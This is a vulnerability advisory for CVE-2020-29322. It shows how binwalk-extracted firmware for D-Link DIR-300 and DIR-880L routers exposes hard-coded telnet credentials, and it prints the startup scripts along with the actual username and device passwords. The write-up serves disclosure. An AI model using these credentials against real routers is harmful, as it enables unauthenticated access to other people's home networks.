CVE-2020-29322

A series of old D-Link routers are vulnerable to credentials disclosure in telnet service through decompilation of firmware, allowing an unauthenticated attacker to access the telnet service.

Confirmed devices and firmware versions:

Device Name	Firmware Version	Release Date
DIR-300	2.06 (latest)	2015/04/24
DIR-880L	1.07 (latest)	2016/05/25

---

DIR-300

Download DIR-300 firmware version 2.06 and extract it using binwalk.

» binwalk -e dir300b_v2.06_f4la.bin

Username, Alphanetworks, is hard-coded under etc/scripts/misc/telnetd.sh:

» cat etc/scripts/misc/telnetd.sh
#!/bin/sh
image_sign=`cat /etc/config/image_sign`
TELNETD=`rgdb -g /sys/telnetd`
if [ "$TELNETD" = "true" ]; then
	echo "Start telnetd ..." > /dev/console
	if [ -f "/usr/sbin/login" ]; then
		lf=`rgdb -i -g /runtime/layout/lanif`
		telnetd -l "/usr/sbin/login" -u Alphanetworks:$image_sign -i $lf &
	else
		telnetd &
	fi
fi

And the password is referenced to etc/config/image_sign:

» cat etc/config/image_sign
wrgn23_dlwbr_dir300b

---

DIR-880L

Download DIR-880L firmware version 1.07 and extract it using binwalk.

» binwalk -e DIR880A1_FW107WWb08.bin

Username, Alphanetworks, is hard-coded under etc/init0.d/S80telnetd.sh:

» cat etc/init0.d/S80telnetd.sh 
#!/bin/sh
echo [$0]: $1 ... > /dev/console
orig_devconfsize=`xmldbc -g /runtime/device/devconfsize` 
entn=`devdata get -e ALWAYS_TN`
if [ "$1" = "start" ] && [ "$entn" = "1" ]; then
	telnetd -i br0 -t 99999999999999999999999999999 &
	exit
fi

if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then
	
	if [ -f "/usr/sbin/login" ]; then
		image_sign=`cat /etc/config/image_sign`
		telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
	else
		telnetd &
	fi 
else
	killall telnetd
fi

And the password is referenced to etc/config/image_sign:

» cat etc/config/image_sign
wrgac16_dlink.2013gui_dir880